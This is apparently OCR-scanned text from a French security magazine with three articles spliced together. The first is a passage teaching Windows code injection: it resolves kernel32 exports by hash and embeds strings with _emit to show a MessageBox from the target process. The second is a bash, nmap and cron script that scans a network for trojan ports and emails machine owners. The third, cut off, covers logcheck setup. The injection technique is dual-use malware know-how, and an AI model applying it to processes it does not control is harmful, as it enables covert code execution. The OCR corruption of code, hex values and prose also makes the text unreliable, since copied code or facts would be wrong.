lea eax, [eax+0xVc]
mov eax, [eax+0xic]

kerneli2_ found:

kernel3Z2

mov kerneli2 base_address, eax

Maintenant que nous avons
l'adresse de base de
kernel32.dil, nous allons trou-
ver sa table d'expormtion et
nous allons y chercher les
adresses de LoadLibraryAl().

GetProcAddress() et

ExitProcess(). L'adresse de

base pointe vers 'en-téte MZ |

de kernel3Z A 'offset 0x3C de
'en-tére MZ nous pouvons
RVA (Relative

trouver le

Virwwal Address) de [len-téte
PE. Dans IMAGE OQPTIO-
MAL HEADER, inclus dans
DataDirectory[(], se trouve

| une entrée contenant le RvVA

et la tille de Image Export
Directory. Dans Image Export
Directory nous avons le RYA
de trais tables

AddressOfFunctions,
AddressOfNameQOrdinals et

AddressOffNames.

Voici le code qui va trouver ['adresse
de ces tables :

Jladd the bage to RVA to
gqet VA

#define VAladr)
ibase+ (DWORD)}adr) ;

base =
kerneli? base_address;

/ipointer to the FPE header

IMAGE_NT HEADERS *nt=0;

//pointer to the IMAGE
EXPORT DIEECTORY

IMMGE,. EXPORT _DTRECTORY *ied=0;

unsigned short *ofs=0;

F/ Dx3c from the begining
ofthe M2 you can find
cthe BVA of the PE

ofs= *((base+(0x3c));

/fwe polint NT to the PE

header of kerneliz.dll
nk= [ (DWORD) base+ (DWORD) ofs) ;
ied= VA(nt-=OptionalHeadex
.DataDirectory (0]
Virtualhddress);
S TMAGE EXPORT DIRECTOHY
Sinow we will find
addresses of the three
export tables

unsigned int *temp=0;

unsigned int *adr=0;

unsigned char **sym=0;
unsigned short *ord=0;

WAL

ied->Address0fFunctions) ;
ord=VA (
ied-=hddressOfNameOrdinals) ;
sym= (unsigned char **)VA(
ied->AddressOfNames) ;
/feach field of this
table contains the RVA
name

header

adrs=

of a function

y
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Observer dans le schéma ci-contre
fa structure de ces tbles,
AddressOftames pointe vers une
table appelée Function MName Table.
Chaque chamip de Function Mame
Table condert le RVA dune chaine
ASCH qui est ke nom dune foncton
exportée. MNous allons chercher
dans cette tble et tenter de trouver
ke nom de notre fonction recher-
chée. Ersuite nous utiliserons Mindesx
dans Funcdon Mame Table comme
index dars Functional Ordiral Table
afin d'obtenir lordinal de notre fonc-
thon. Bnfin nous allons utiliser lordinal
de notre foncton comme ndex
dars Function Address Table pour
obtenir e RVA de nooe foncoon.
Mous allons ajouter [adresse de
base a ce RVA pour avoir le VA de
notre fonctionAwu heu de stodker les
rioms des fonctions pour les compa-
rer, nous allons clculer leur hash et
finclude ®*stdafx.h"

int _tmain{int argc,

unsigned int h=0;
unsigned char

_TCHAR*

ramme [

IMAGE_EXPORT _NRECTORY

Characteristics
(other fislds)

\v
td

_,.._—-

UJM’I |

3 Parallel Arrays

4 |

Function Address Table
Function Harmea Table

* wnpunct P wyruners ""mm-
mﬂ:{“ 'II'_ﬂll: .

les stocker pour [ comparaison.
Lalporidhme de hash wtlisé id est le
réme que celui utlisé par ke groupe
LSDx

Void un petit programime que vous
pouvez utliser pour calouler le hash
des noms de fonction :

argvll} 1

| ="LoadLibraryaA®;

unsigned char *gc=name;
fiwhile we are not athe endof the string
while(*c) {

h={lh<<5) | (h==27)}+ *C++;

'
printf{*\n%x".h):
return 0;

Mous allons calculer le hash de chagque chaine de Function Marne Table
et les comparer avec le hash de nos fonctions recherchees.
Voici le code qui va effectuer cette tiche :

Finow we will
we will
Lion name

M, o P g

//iterates on the

for{i=0;i<3;i++) {

for(i=0;;:j++) {
unsigned int
unsiagned char
DWORD temp=0;
temp=VA(sym|[j]);

c=(unsigned char

ffeiiile we are nok at

whilel*c)
h={ (h<<5

{
L
1
1

e o0
b

DYreak ;

gl

function_

Lraverse
calculate the hash. of

Tunct
fflterates on exported [uncbtions names

h=0;
*_-'_-::".

{h==functionhash

addr_table(il]

Che table and

each func-

Name

ionhash_table

r

*ltemp;

the end of the string
i :
“tablefx])

=VA(adr [ord[j]l]);:

Comme vous le voyez dans
le code, nous avons les hash
de nos fonctions recherchées
dans une table appelee func-
tionhash_table[]. Pour chaque
entrée de ce tableau
chaque
Function MName Table pour
obtenir le RVA d'une chaine
de noms de fonctions, nous

nous

lisons entrée  de

calculons son VA |, puis nous
calculons le hash de la chaine
de caractéres située a ce VA,
et comparons ce dernier avec
le hash du nom de la fonction
recherchée. S'ils correspon-
dent nous allons utiliser I'in-
dex de Address Mame Table
comme index dans Function
Ordinal Table pour obtenir
l'ordinal de notre fonction.
Mous allons utiliser I'ordinal
comme index dans Function
Address Table pour obtenir le
RVA de la fonction. Nous cal-

culons ensuite le VA a partir
du RVA et le stockons dans
table
function addr table[].
répeterons ces arapes pour
chaque hash dans function-

une appelée

Mous

hash table[]. Comme vu pré-
cédemment nous ne pouvons
utiliser de tableau ni de
chaine dans notre fonction
car ils seront crees dans la
partie .data et ne seront pas
copiés sur le processus cible
par notre injecteur. Il est
temps maintenant d'examiner
la solution i ce probléeme.

Mous allons utiliser la pseudo
instruction _emit afin de défi-
(table,
chaine...) dans la section .text.

La pseuda instruction _emit

nr nmos structures

est similaire a la directive DB
de MASM. On utilise emit
pour deéfinir un octet immeé-
diat unique i I'endroit courant
dans le segment de code cou-
rant. Mous allons
_emit dans un bloc

utiliser
_asm a la
fin de notre fonction pour
définir les tables et les chaines
dont nous avons besoin.

Yoici les définitions des deux
tables dont

besain :

nous avons




functionhash:
OxDC
oxDD
UxlA

0x33

_emit
_emit
_amit
_emit
_emit
_emit
_emit 0xCS
_amit 0x%%

_emit OB
_emit OxBF
_emit Oxd6
_emit OxEC
}

__asm

{
function_addr:
_emit OxFF
_emit O0OxFF
_emik OxXFF
_emit 0OxFF
_emit 0xFF
_emit OXFF
_emit O0xFF
_emit 0xFF
_emit OxfF
_emit 0xFF
_emit OxFF
_emit OxFF

"

Dans functionhash nous avons
stocké le hash de trois fonc-
tions dont nous avons besoin
et dans function_addr nous
avons simplement stocké des
FF afin de réserver de l'espace
pour pouvoir les remplacer

plus tard par les adresses des
trois fonctions. Pour pouvair
utiliser ces espaces comme
variables dans notre code nous
devons utiliser deux pointeurs
qui vont pointer vers eux.

ffloadlibrarva_hash=0x331ADDDC;

f faetprocaddress _hash=0x99C95590;

/ /fexitprocess_hash=0xEC468F&87;

definirons ces deux
pointeurs comme suit :

Mous

DWORD =

function_addr table=0;

unsigned int *
functionhash table=0;

nous devons les
faire pointer vers les deux
tableaux que nous avons crees
dans la section .text. Si nous
copions simplement ladresse
de function_addr dans func-

Maintenant

tion addr table nous allons la
pointer sur l'adresse de func-

tion_addr dans le processus de
process_injector. Etant donne
que nous allons copier notre
code dans le processus cible,
l'adresse de function addr ne
sera plus valide. Nous devons
calculer l'adresse de
function addr dans le processus

cible. Pour cela nous sous-

trayons @ start » de
function_addr pour trouver
I'adresse relative de

function_addr de « start » qui
est un label se trouvant juste
apres le prologue de la fonction,
ensuite nous y ajoutons Ox0C,
qui est la taille du prologue de la
fenction, afin d'obtenir 'adresse
relative de function addr a par-
tir du début de la foncticn. A
présent nous devons ajouter
l'adresse de base de la fonction
dans le processus cible pour
cbtenir ladresse courante de
function addr. Microsoft visual
C++ utilise le registre EBX pour
conserver [adresse de base du
thread courant; nous ajoutons
donc EBX a l'adresse relative
calculée pour obtenir l'adresse
réelle. On peut aussi utiliser
I'adresse de base que ['on a pas-
sée en parametre a la fonction
injectée a la place de EBX.

Yoici le code qui initialise nos
deux painteurs :

d =

r

push edx

mov edx, function addr

edx, start

f/The function's
prologue is C
bytes long

add edx, 0x0c

flwe add
address

add edx, ebx

ey fnction adr rable ez

mov edx, functionhash

sSun

Che base

sub edx,start
add edx, 0xc
add edx,ebx

mor firctioitash table, et
pop edx

!

Le code ci-dessus doit étre
placé avant la premiere utilisa-
tion des deux tableaux.
Maintenant que nous avons
l'adresse de LoadLibraryAl) et
de GetProcAddress{), nous
pouvens utiliser :
LoadLibraryA() pour charger
un module DLL et recuperer
ur handle qui peut etre utilise
dans GetProcAddress pour
cbtenir l'adresse d'une fonc-
tion DLL. 5i la DLL demandee

| est déja chargee, LoadLibrary

renvoie simplement un handle
de cette DLL. Dans notre
exemple ncus allons utiliser
LoadLibrary() pour obtenir un
handle de USER32.DLL et
ensuite, utiliserons
GetProcAddress() pour avoir
ladresse de MessageBoxA().
MNous allons appeler
MessageBoxA() pour afficher
un message et nous termine-
rons le processus en appelant
ExitProcess().

Comme nous avons l'adresse
de LoadlibraryA() dans fume-
tion_addr_table[Q],
allens créer un peointeur de
fenction pour l'appeler.

naus

nous

HMODULE
(*func_ LoadlLibraryd)
(LECTSTE l1pFilelame) ;

func_LoadLibraryh=
(HMODULE [__cdecl*®)
{LBCTSTR} )
function addr table([0];

Maintenant nous devons défi-
nir une chaine qui contienne
USER3IZDLL et passer um
pointeur vers cette chaine a
LoadLibraryA{) comme para-
metre.
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Mous ajoutons la définition de
la chaine & la fin de la fonction,

__asm
{
ugserliZ_string:
_emit 0x55 /f/U0
~emit Ux53 //8
_emit 0x45 //E
_emit 0Ox52 //R
_emit 0Ox33 //3
emit 0x32 //2
_emit Ox2e /1.
_emit 0Ox&4 //d
~emit O=6ec //1
_emit O0x6C /f/1
0x00 // NULL

_emit

Ensuite nous créans un poin-
teur et le pointons vers la
chaine créee,

LPCTETR
module_name;

__asm

{

push edx

mov edx,user3id_string
sub edx,start

add
add
IO

e, DxDeo

edx, ebx

module _name, edx
pop edx
}

Enfin nous
LoadLibraryAf).

appelons

HMCDULE useri2=
func_LoadLibrarya(
module_name) ;

Avant de compiler votre code,
vous devez egalement madifier
les wvérifications d'erreur en
cours d'exécution (runtime)de
Visual Studioc. Par defaur, la

F

verification d'erreur en cours
d'exécution est configurée 2
/RTCsu, ce qui signifie que des
verifications vont étre effectuges
pour des erreurs d utlisation de
variables non initialisées et des

@ stack frame ».
Pour /RTC, le compilateur va
ajouter |appel d'une fonction
aprés chacun des appels AP
Comme cette fonction se trouve
a l'extérieur de notre fonction,
elle ne sera pas copiée dans le
processus cible, donc le code
injecte va planter en ['appelant.
Pour la modification, allez dans
le menu « Project » et choisis-
sez le nom du projet. Dans le
volet de gauche choisissez

erreurs de

« C/IC++ », puis « Code
Generation ». Dans le volet de
droite definissez la valeur de «
Basic Runtime Checks » 3 «
Uninitalized Variables /RTCu ».
Vous pouvez voir la modifica-

P g~ g o = e—
Configuration; | Active(Debug) v Elaform: |Active{Windz) - Corfiguration Manager. ..
jjﬂmﬁpm&nﬁumﬂ:n:i }ﬂﬁﬁﬁﬁﬁF}i&' No o . LR

Gy sl E Enabis Mramsl 2etsld o
~ Debugging Enabls C4++ Excmptions Yes {EHsc)
il CIC 4+ Smaller Typa Chack Mo
Genersl . BascRuntimeChecks  Uninitialized Varisbles (/R TLu) |
Cpdmizaton | Rundne Library Single-threaded Debug {/MLd)
Praprocessor | Struch Member Aligrment Dl auk
*fﬁkﬁﬂ”ﬁh Buffer Securty Check No
HTEHH& Enable Functice-Level Linking Mo
: m”_.m Enabie Enhanced Instruction St | Mok St
Browse Informs F}
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Command Line
I Lirkar
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d mm: il Basic Auntine Checks
~ Parform basic runtime arror checks, incompatibie with ary optimization type other than
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OK | Aewer | appiqus | nide |

tion dans la capture ci-contre.

Maintenant que nous avons un handle de USER32.DLL nous
allens appeler GetProcAddress() pour avoir l'adresse de
MessageBoxA().

FARPROC

(*func_GetProcAddress) {
HMODULE hMcdule, LEPCSTR lpProcName) :

func_GetProcAddress=

(FARPROC (___cdecl?*) (HMODULE, LPCSTR) )
function_addr_ table[1]:

LPCTSETE function name:

push edx
mov edx, MessageBoxa_string

-

= |
=]

m
pop

1
F

Volci
MessageBRoxh

{

ub
dd
dd
(4l

edx, start

edx, Oxc

edx, ebx
function_name, edx
edx

ARPROC messagebox=
func_GetProcAddress (userl?2, function name) -

la définition de la chaine de

__ASm
MessageBoxh_string:
emit 0Ox4D //M
emit 0xa65 //e
emit 0x73 //s
emit DxT73 //m

EEE



_emit Ox6l //a

_emit Qx67 /f/g
_emit 0xB5 //e
_emit Ox42 //B
_emit O0x6f f/o
_emit 0x78 //x
_emit Oxd4l //A
_emit Oxd0 J/ HNUOLL
1

!

Maintenant, appelons MessageBoxA() pour afficher un message :
LECTSTR m=sg_text;

LECTSTR meg_caption;

int (*func_messagebox) (

HWND hWnd, LPCTSTR lpText,
LPCTSTR lpCaption,UINT uType);

-

func_messagebox=(int (_ cdecl¥]
HWMD , LECTSTE,
LPCTSTRE, UINT) Jmessagebox;

push edx

mov edx,msg_text_string

sub edx,start

add edx, 0xc

add edx, ebx

mov msg_text,edx

mov edx,msg_capticon_string

sub edx,start

add edx,0xc

add =dx, ebx

mov meg_caption, edx

popn edx

func_messagebox (0,
meg_text,masg_caption,
0} ;

Woicl les définitions des deux chaines (caption et message) uti-
lisées pour la message box.

__dasm

{

meg_text_string:
_emit Ox46 //F
_emit O0x72 //x
_emit Oxef //o
_emit Ox6d //m
_emit Ox20 //SPACE
_emit O0x74 //C
_emit 0x68 //h
_emit 0x65 /f/e
_emit O0x20 //SPACE
_amit Ox69 Sfa

emit Ox6e [/n

emit dx6a //)
emit Ox65 SSe
emit 0xe3 //c
emit O0x74d //¢
emit 0OxE5 //e
emit Oxb4 /f/d
_emit Dx20 //SPACE
emit 0x63 //c
emit Ox6f //o
emit 0Ox6d4 //d
_emit 0x65 //e

_emit 0x00 // NULL

meg _caption_string:

_emit Ox48 //H
_emit O0x6S5 //e
_emit 0xBC //1
_emit Ox&C 7/1]
_emit OxeF //O
emit O0x00 // NULL

A présent terminons le processus en appelant ExitProcess() pour
éviter le plantage du processus :

void (*func_exitprocess) (UINT uExitCode):

funec_exitprocess= (vold({__ cdecl®) (UINT))
function_addr_table[2];
func_exitprocess(0);

C'est la fin de cet article. Comme vous venez de le voir, en utili-
sant LoadLibrary() et GetProcAddress() nous pouvons appeler
n‘importe quelle fenction de nimporte quelle librairie dans le
code injecte.

[ =g 2 -
= el Tl

£ g
F o decencly cowdelling
:

Gm;gle R

[ ¥
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ue vous soyez sous Linux
ou Unix lutilisation du
shell est incontournable
pour qui geére un reseau.
Certes de nombreusas interfa-
ces graphigues dadministra-
tion systeme ont vu le jour,
miais le shell avec sa rapidite de
mise en ceuvre, sa flexibilite et
son extraocrdinaire aptitude a
enchainer les commandes a la
suite les unes des autres a
encore selon moi de beaux
jours devant lui.

Dans les préecedents articles
sur le sujet de FaSm et de

Code] wvous avez appris a |

construire des scripts shell et
vous avezr pu juger de leur effi-
cacite. Vous constaterez dans
cet article que vous pouvez
automatiser |'exécution de
ceux-ci et, dans le cas d'un
scripts de surveillance reseau,
informer les membres de
votre réseau du résultat ren-
voyeé par votre shell.

surveiller les machines de
voire réseau Infrastructure

Un des fleaux actuels de nos
reseaux est le cheval de Troie,

Le quotidien d'un administrateur réseau est fait de taches
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répétitives et ingrates, mais en utilisant le shell et en le combinant

a d' autres commandes systémes nous pouvons aisément
nous faciliter la vie !

de comparer la liste des pores
ouverts avec une liste de ports
utilises par certains troyens, et
de renvoyer le cas échéant un
mail aux propriétaires de ces
machines leur demandant
d'installer, si ce n'est déja fait,
un Antivirus et un firewall

Pour ce faire nous avens
besoins de configurer un MTA
(mail rcranspert agent) qui
nous permettra d envoyer nos
mails et de paramétrer ['utili-
taire de programmation de
tiches CROMN qui lancera
notre script aux heures et
dates définis au préalable.
Mous utiliserons une version
allégée de MTA: SSMTP qui se
parametre plus facilement que
sendmail, d'autant plus que
notre script ne nécessite que
'envoi de messages et pas de
réception.

Enfin nous aurcns besoin d'un
fichier (portstroyens.txt) com-
portant une liste de trojans et
les ports quils utilisent ainsi

Installer srmip

Il existe de nombreux cos o vous désirez étre copable d'envoyer unique-
ment du courrier électronique por lintermeédioire d'un relais. s'ocquitte
fort honarablement de cette liche et se parométre en quelques lignes. Pour
I'installer sous Debian, un petit apl-get install ssmip et le tour est joué. Pour
les nutres distributions, on [installera de focon clossique.

On paramétrera le Fichier ssmip.conf comme suit:

i cd fetc/ssmtp
ls

vi asmtp.conf

Bien entendu comme vous avez déja lu I'excellent article de SyDoRe sur log-
theck, vous connaissez déjh ce porométrage! )

en particulier sur les machine
Windows, principale cible de
CES attaques.

Lrans ce script, nous nous pro-
posons de scanner les ports
des machines de notre réseau,

que d'un fichier texte recen-
sant les machines de notre
reseau(fichiers_ip.txt) , leur IR,
et le mail de leur propriétaire.
Il existe sur le web des sites
donnant une liste mise a jour

regulierement des trojans
recensés et des ports qu'ils
utilisent sur les machines.(|)

Le fichier " fichier_ip.txt” peut
étre facilement génére a partir
de n'importe quelle base de

donnee pgerant un parc
machine (ou d'une feuille de
caleul Excel :-{ ou OpenOffice
=) dans le pire des cas) , pour
notre exemple il sera de la
forme suivante :




PortFaSm:192_1&8.0
PorcCoded:;192.16E.

PortRezOr;192.168.(

PortSyDoR;192.168.

5
[}

.10;Fasm; FaSm@acissl.net
0.20;:CodaT;CodaTdacissi . net
0.30;RefoRBacissi.net
0.40; SyDoRBacissi.net

De méme pour le fichier "portstroyens.txt "récupéré sur le net:

La ligne qui nous interesse est

f CMP Click attback
B ICMP Ping Attack
I
|
I
I
1090 TCP. . XEreme
1207 TCP SoftwWar
1234 TCF Ultors Trojan
1244 TCP " Sub Sever
1245 TCP VooDoo Doll
Passons aux choses
serieuses

Mous devons d'abord nous

la ligne ol on voit apparaitre le

fait que la machine

#! /bin/bash
EETS =t
Jdevinull =
while

cat
read machine
do

nmap -sP -n 5ip

ST el R L R
done <51
cat /dev/null > ipasc
while read ip
de
cat &l grep Sip
done < ipup.txt
exitc 0

Apres la declaration du shell ut-
lisé et le séparateur de champ (
"™ utilisé pour le traiterment du
fichier d'adresse “fichier_ip.oa”
passé en argument au script,
nous créons et initalisons le

fichier temporaire "ipup.tt”.

-2

ipup.txt

user mail

|grep appears
=»» 1pup. txt

ATINET . LKL

lpascanner . it

une boucle while qui déclarera
dans un premier temps les
variables correspondants aux
differents champs de notre
fichier et scannons toutes les
adresses ip contenues dans
celui-ci .

assurer gue les machines a
gcanner sont bien allumees,
pour cela nous allons utiliser le
scanner de port nmap avec
I'option -sP permettant de pin-
ger les ports et le -n pour lui
dire de nous afficher 'adresse
ip au lieu du nom host:

PortReZoR# nmap -gP

Starting nmap 3.75

&
at

=T

|92.168.0.50 est "up".

Avec tout ce gqu'on connait
désormais on est capable
d'écrire la premiére partie du
script ou on doit generer le
fichiers d'adresses ip a scanner
en fonction des machines up
ol down =)

192.168.0.50

(http: / /insecure. org/rmap/ )

Rappel rur les seanners de port

Lorsqu'un serveur offre un service particulier (Web, messagerie, mail), il
exécute un progromme ossurant ce service, (e programme est en atlente de
connexions. les clients devont occéder o ce service doivent connaitre
'adresse IP du serveur ef le numero de port assacig ou service. Ce numéro
de port o été attribué suivant le document standard RFC1010 au programme
exécutant ce service. Sur les systémes Linux, lo liste de ces numéros est dis
ponible dans le fichier /etc/services. Lo plupart des services ot un numéro
de port bien défini. Par exemple, un serveur de messogerie utilise le port
25, un serveur Weh le port 80... Lorsqu'un service est en écoute sur un port,
on dil que le numéro de port associé @ ce service est ouverl. L'intérét du
sanner est irés simple : il permed de trouver dans un déloi irés court, tous
les ports ouverts sur une machine distante. Il existe différents types de scan-
ner, tertoins se confentent juste de donner : lo liste des ports ouverts, le
lype et lo version de |'05 tournant sur le serveur. Nmap esl un des scanners
les plus ufilisés et un des plus performants. Il est disponible sous Windows
et Linux en paquet dans toutes les distributions mejeures. De nombreux
tutoriels bien foits existent sur lo toile(2).

Dans le premier bloc d'accola-  Mous récupérons la sortie de

2005=05=10d2:53 CEST

Host 192.168.0.50
Nmap run completed --
(1 host up) scanned

appears to be up.
1 IP address
in 0. 176 seconds

des nous allens remplir ce

fichier avec les adresses jp des :

machines gui sont allumeées sur
notre réseaul.

Pour ce faire nous utilisons

la commande nmap et la redi-
rigeons vers |entrée de [a
commande grep en nous ser-
vant d'un pipe, celle ¢i nous
recupére la ligne ol apparait la
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chaine de caracteres "appears”
qui nous interesse (cf résultat
de nmap ci-dessus), il ne nous
reste plus ensuite, en utilisant
un nouveau pipe , qu'a  récu-
pérer le deuxieme champ de
cette ligne avec la commande
cut a laguelle nous passerons
l'option -d" " lui indiquant ainsi
que le délimiteur pour cette
ligne est I'espace.

Bon, tout ceci c'est bien beau
mais je n'ai toujours pas mon
fichier definitif d'adresses a
scanner :-).

Clest la la fonction du
deuxieme bloc while pour |

FPortheZoR#

lequel I'entree sera le fichier
généré par le premier
(ipup.txt).

De [a meme maniere que prece-
demment je vais utiliser k com-
mande grep couplée a la com-
mande cat listant le fichier passé
en argument et rediriger les

lignes correspondantes dans le
fichier définidf"ipascanner.oa”.

Me reste phs qui enregistrer ce

seript sous le nom de scanparc.sh,

de lui donner les droits désecution
grace a la commande chmod et de
le kancer sans oublier de i

passer fichier ipoa’ en arpument.

./acanparc.sh fichier ip.txt

PortRefZoR4 cat ipascanner.txt
PortCoded;192 . 168.0.20; Coded; Codaeldacissl . et
PortRezor:192.168.0.30:ReZocR@acissi . .netk

PoOorcSyDoR; 192 .168.0.40; SyDoR8acissli.net
FortBedZol: fhome/rezork

Lancer les scans

Mous pouvons maintenant écrire le reste du script pour scan-
ner les machines allumées et prévenir leurs propriétaires

d'eventuels ports ouverts.

La deuxieme partie du script sera donc de la forme:

## on reprend ipascanner.txt

while read machine ip
do
cat /dev/null >
echo "debut du scan
$ notez le pipe :

nmap -s5 -pl-65535 5ip |

T 1 | o« I o i
| while read port
do

| grep ""Sport
done

cat entete.txt

echo

# envoil
mail
echo

viulnerabilite.txt

cat portstroyens3.txt
>»> vulnerabilite.txt

= mail.txt

"Votre ordinateur Smachine
scannée et les ports suivants s
ouverts et ERF{J'—%éE AUX Croyens
ecrits en vis
cat vulnerabilite.txt

Smail < mail.txt
"Pour adminigtration:scan de la

user mail

de la machine: $ip*®

grep open

a ete

B ont
»> mail.txt
Ext

A wigs®

R
> Ihcild .

machine d'adresse Sip effectua"

done <ipascanner.txt
rm vulnerabilité.txt
ipagscanner. txt

o~

exit

ipup.tcxXtscan. txt \

N
"

Le fichier vulnerabilite.cxt est
le resultat de la comparaison
entre les "ports ouverts " ren-
voyes par nmap (scan.txt) et le
fichier " ports utilisés par les
troyens '(portstroyens.txt)

entéte.ext est le fichier qui,
comme son nom lindique, sera
le debut du mail envoye et
indiquera la marche a suivre au
propriétaire de la machine
scannée., Tout cela forme le
message final mail.txt que l'on
envoie A l'utilisateur dont on
aura recupéré l'adresse via le

contenu de la variable mail

{$mail).

Bien evidemment, nous suppri-
mons les fichiers temporaires
a la fin de notre script et nous
quittons proprement.

Le message requ par nos admi-
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des failles de sécuricé.

Veuillez vous connecter sur
l'intranet a l'adresse
hetp://websecu/securiser.htm.
Vous y trouverez les ourtils et
les tutoriels correspondants
qui vous permettrons de sécu-
riser votre machine

La machine PortCode] i été
scannée et les ports suivants
SONt OUverts et exposes aux
troyens &crits en vis a vis:

80 y s
113 TCF
1159

TCP Hapmn

Executor

Miise en production

Le script est maintenant fonc-
tionnel ; reste a le faire s'exe-
cuter tout seul. Mous allons
pour cela utiliser le demon

les ditferenters étapers du scan
et la récupération der porls ouverts :

4 nmap -88

=-g8 192,
| grep open|cut -4

f nmap

nistrés sera done de la forme:

Message de l'administration |

reseau :
Des ports sur votre machine
sont ouverts, ce qui peut creer

192.168.0.

168.0.
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crond et plus particulierement
l]a commande "crontab”.

Présentation de cron
Les systéemes de type Linux
possedent wune application



(plus exacterment un démaon)
permettant de realiser ce type
de tiches, il s'agit de cron.

Cron est basé sur une table
réferencant les taches a lancer

ainsi que l'année, le mais, le
jour, lheure et la minute a
laquelle I'exécuter.

Cron est ainsi constitue :

2 d'un démon : crond, c'est-a-
dire un programme résident
en mémoire lancant automati-

quement les tiches en fone-

tion de la table cron

1 d'une commande : crontab,
permettant d'editer la table
des tiches a ordonnancer
crond se trouve généralement
dans le répertoire fusrisbin ou
/sbindans les distributions recen-
tes. Pour connaitre l'emplace-
ment de crond dans votre distri-
bution line, | vous suffit de
taper la commande suivante :
whereis crond

Si votre distribution tient la
route, crond doit etre lancé au
demarage, que
n'ayiez i vous en Soucier.

sans YOous
La commande crontab edite
en fait un fichier relatif a 'utili-
sateur qui l'exécute. Ce fichier

1= situe dans

Un fichier crontab est
organisée de la maniére
suivante :

mm hh jj MMM ]]] tache
Deétails :

® mmrepresente les minutes
(de 0 a 59)

# hh reprasente Mheure (de 04 23)
® jj représente le numéro du

jour du mois (de | i 31)

® MMM représente le numéro
du mois (de | 4 12) ou labré-
viation du nom du mois (jan,
feb, mar, apr; ...)

@ ||] représente |'abréviation

du nom du jour ou le chiffre
correspondant au jour de la
semaine (0 représente |e
dimanche, | représente le
lundi, ...)

® tiche est la commande ou le
script shell a exécuter

Maous allons éditer et configu-
rer un fichier
scan_machines

namme

dont nous

standard dans le script.

Emails de rapport

Et la vous avez I'explication des
deux lignes dans le script qui
générent un echo vers la sor-
tie standard (l'écran) et qui
placées judicleusement renver-
ront en fait le résultat de l'exécu-
ton du script 2 [administrateur

transféreront le contenu dans | echa "debut  <du o scan

notre crontab (root) a laide de la machine:

de la commande crontab : Sip”

#crontab scan _machine echo *{...) Bcan de

Editons ce fichier: 1a machine

SHELO=¥P1inbash cip effectué"

PATH=/usr/local/sbin:/sbin: /bin: fusr/sbin:
Jusr/bin:

MAILTO=ReZoRBacissl .net

# m h dom mon dow user command

* 12 * * * od fhome/rezor; scanparc.sh \

fichier 1p.LCXE

Pour plus de détails aller sur le site donné en réference (3).

Si nous analysons ce fichier,
nous pouvens y voir la déclara-
tion du shell utilisé, l'initialisa-
ticn de la variable PATH et le
parameétrage de |a tiche 3 qui
demandons de lancer
tous les jours 4 12 heures le
script scanparc.sh en lui pas-

sant fichier_ip.txt

nous

comme
argument. Nous prenons soin
également de nous placer dans
le répertoire ou se trouve le
script 4 executer.

Il reste une ligne dont nous
n'avons pas parlé, c'est la ligne
MAILTO=ReZoR@acissi.net
En fait nous déclarons ici le

mail de la personne (génerale-
ment l'administrateur réseau)
a qui nous désirons que la
crontab renvoie les erreurs
d'executions ainsi que tout ce
qui est dirigeé sur la sortie

Dans cet article, vous avez pu
vous rendre compte de la puis-
sance du shell qui couple a certai-
nes commandes systemes peut
énarmement simplifier la vie d'un
administrateur reseau.

Le script que nous executons
ici est relativement simple car
élaboré essentiellement a par-
tir de boucles while. Pourtane,
couplé avec crontab, SSMTF, et
nmap, il nous permet de sur-
veiller les pc de nos utilisa-
teurs et de les sensibiliser sur
la protection de leur machine
{chacun sait gue le rappel

. i
incessant des regles de sécu- (¥

rite en informatique est la =

meilleure des protections et si
notre serveur peut le faire
pour nous, pourguoi s'en pri-

| wer? =) ).

TG B

La TEAM ACISSI
vous salue...

| Quedgues liens utiles :

1.hitp:filists.gpick com/port-
istiportlhs.htm

L. htin

iFance g/ prfinetdoc/securt
gtorie tutormel securite
fecte.nim

aoogle“ i

@ bash introduction OR manuel |
@ crontoh wtilisation OR exemples |
® scripts shell

@ bash inurl:linuxfr.org/tips

shia

Voici le type de message que les utilisateurs vont recevoir

From :
To: RBeZoRGacissi.net
Subject: Cron
debut du scan de
195,221 .189.]

= =
d

rootBacissi.net

[Cron Daemor)

<root@PortReZoR> (...)

la machine:

pour administration:scan de la machine

d'adresse

debut du scan de
195.221.189.143
Pour administration:scan

195.221.189.155%

effectué

la machine:

de

la machine

A'adresse 195.221.189.143 effectué
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ous avez installe votre machine (voire

méme plusieurs machines, car vatre

entourage familial ou professionnel
veut aussi une machine qui marche bien
comme |a votre... ;-), reste maintenant i «
surveiller» ce qui se passe dessus, et
notamment relever tous les événements
anormaux s'y produisant @ par exemple
des tentatives de connexion par telnet, ssh
ou ftp. Pour effectuer cette surveillance, il
est possible dialler examiner différents
fichiers de log existant sur votre machine.
Mous allons dans cet article présenter un
outil permettant de vous faciliter ce tra-
vail. Cet outil se nomme logcheck.

Principe de fonctionnement

Le principe de fonctionnement de ce logi-
ciel est le suivant :il scrute vos fichiers de
log pour trouver tous les événements
juges comme anormaux (Nous verrons par
la suite ce qui est considéré comme tel).
L'outil établit ensuite un rappert qu'il vous
envoie par mail, toutes les heures par
defaut (crontab) si aucun événement parti-
culier ne se produit. Deux types d'événe-
ments peuvent modifier la fréquence d'en-
voi de ces rapports : un reboot de la
machine ou larrivee d'un événement
wgraven (attaque de la machine par exem-
ple) déclencherent 'envoi d'un mail.

Pour connaitre les fichiers de log qui sont
passés en revue, allez voir dans le fichier
letc/logcheck/logcheck logfiles. Voir enca-
dre.

Exnemple de fichier
egcheck.logfiles

sydore@megolochelys: ™S sudo more
/ete/logcheck logcheck.logfiles

# these files will be checked by logcheck

# This hos been tuned towards o default syslog
install

Jvar/log/syslog

Svar/log/auth.log

sydore@megolochelys: ™5

e —

el
J

—=\4

il

Un dispovitif d'alerters facile d'accers

Une machine sous linux génére des informations qui
sont utiles entre autre pour surveiller son fonctionne-
ment. Ces informations se retrouvent dans les fichiers
que l'on appelle des log. Essayons de voir comment
s’en sortir dans cette prolifération de lignes de log
pour en extraire les principales...

Préambale : installation d'un relais
de mail

Avant méme d'aborder linstallztion et lNutlisa-
tion de logcheck, il faut avant tout lui permettre
de fonctionner correctement — le minimum
e@ant de lui donner la possibilité d'envoyer des
mails. Pour cela. nous allons donc insaller ssmigp.
La machine d'essai est une Debian Sarge, linstal-
lation est donc facle -) :

svdore@megalochelvys: --#

sudo apt-get install ssmtp

La configuration de ['outil smtp nécessite
quelques informations

® Le destinataire des mails adressés aux
utilisateurs ayant un UID inferieur a 1000.
Dans notre cas syvcore@fres

® Le nom du concentrateur de courriel
(comme le dit ma machine francisée, appelé
autrement le mail hub). Dans notre cas

tpfree f
® Le numére du port sur lequel écoute le
serveur SMTP distant (normalement 25,
comme dans notre configuration).

® Le nom du domaine 3 utiliser. Ce nom sera uti-
lise pour compléter les champs From (ne conte-
